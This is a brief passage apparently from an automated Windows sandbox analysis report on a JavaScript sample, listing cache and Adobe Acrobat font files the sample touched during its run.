C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3620

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
301901880157741390.js